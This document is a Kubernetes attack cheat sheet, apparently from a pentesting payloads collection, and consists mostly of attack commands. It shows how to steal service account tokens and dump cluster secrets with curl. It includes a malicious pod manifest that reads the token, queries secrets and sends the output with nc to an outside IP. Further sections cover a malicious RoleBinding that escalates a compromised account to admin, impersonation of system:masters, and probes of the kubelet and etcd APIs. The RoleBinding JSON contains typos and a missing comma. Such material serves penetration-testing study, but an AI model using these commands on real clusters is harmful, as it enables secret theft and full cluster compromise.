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Kubernetes

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Kubernetes

Kubernetes is an open-source container-orchestration system for automating application deployment, scaling, and management. It was originally designed by Google, and is now maintained by the Cloud Native Computing Foundation.

Summary

Tools

  • kubeaudit. kubeaudit is a command line tool to audit Kubernetes clusters for various different security concerns: run the container as a non-root user, use a read only root filesystem, drop scary capabilities, don't add new ones, don't run privileged, ...

  • kubesec.io. Security risk analysis for Kubernetes resources.

  • kube-bench. kube-bench is a Go application that checks whether Kubernetes is deployed securely by running the checks documented in the CIS Kubernetes Benchmark.

  • katacoda. Learn Kubernetes using interactive broser-based scenarios.

Service Token

As it turns out, when pods (a Kubernetes abstraction for a group of containers) are created they are automatically assigned the default service account, and a new volume is created containing the token for accessing the Kubernetes API. That volume is then mounted into all the containers in the pod.

$ cat /var/run/secrets/kubernetes.io/serviceaccount

# kubectl makes cluster compromise trivial as it will use that serviceaccount token without additional prompting

RBAC Configuration

Listing Secrets

An attacker that gains access to list secrets in the cluster can use the following curl commands to get all secrets in "kube-system" namespace.

curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Access Any Resource or Verb

resources:
- '*'
verbs:
- '*'

Pod Creation

Check your right with kubectl get role system:controller:bootstrap-signer -n kube-system -o yaml. Then create a malicious pod.yaml file.

apiVersion: v1
kind: Pod
metadata:
  name: alpine
  namespace: kube-system
spec:
  containers:
  - name: alpine
    image: alpine
    command: ["/bin/sh"]
    args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
  serviceAccountName: bootstrap-signer
  automountServiceAccountToken: true
  hostNetwork: true

Then kubectl apply -f malicious-pod.yaml

Privilege to Use Pods/Exec

kubectl exec -it <POD NAME> -n <PODS NAMESPACE> –- sh

Privilege to Get/Patch Rolebindings

The purpose of this JSON file is to bind the admin "CluserRole" to the compromised service account. Create a malicious RoleBinging.json file.

{
    "apiVersion": "rbac.authorization.k8s.io/v1",
    "kind": "RoleBinding",
    "metadata": {
        "name": "malicious-rolebinding",
        "namespcaes": "default"
    },
    "roleRef": {
        "apiGroup": "*",
        "kind": "ClusterRole",
        "name": "admin"
    },
    "subjects": [
        {
            "kind": "ServiceAccount",
            "name": "sa-comp"
            "namespace": "default"
        }
    ]
}
curl -k -v -X POST -H "Authorization: Bearer <JWT TOKEN>" -H "Content-Type: application/json" https://<master_ip>:<port>/apis/rbac.authorization.k8s.io/v1/namespaces/default/rolebindings -d @malicious-RoleBinging.json
curl -k -v -X POST -H "Authorization: Bearer <COMPROMISED JWT TOKEN>" -H "Content-Type: application/json" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secret

Impersonating a Privileged Account

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" -H "Impersonate-Group: system:masters" -H "Impersonate-User: null" -H "Accept: application/json" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Privileged Service Account Token

$ cat /run/secrets/kubernetes.io/serviceaccount/token
$ curl -k -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/default/secrets/

Interesting endpoints to reach

# List Pods
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/default/pods/

# List secrets
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/default/secrets/

# List deployments
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip:<port>/apis/extensions/v1beta1/namespaces/default/deployments

# List daemonsets
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip:<port>/apis/extensions/v1beta1/namespaces/default/daemonsets

API addresses that you should know

(External network visibility)

cAdvisor

curl -k https://<IP Address>:4194

Insecure API server

curl -k https://<IP Address>:8080

Secure API Server

curl -k https://<IP Address>:(8|6)443/swaggerapi
curl -k https://<IP Address>:(8|6)443/healthz
curl -k https://<IP Address>:(8|6)443/api/v1

etcd API

curl -k https://<IP address>:2379
curl -k https://<IP address>:2379/version
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only

Kubelet API

curl -k https://<IP address>:10250
curl -k https://<IP address>:10250/metrics
curl -k https://<IP address>:10250/pods

kubelet (Read only)

curl -k https://<IP Address>:10255
http://<external-IP>:10255/pods

References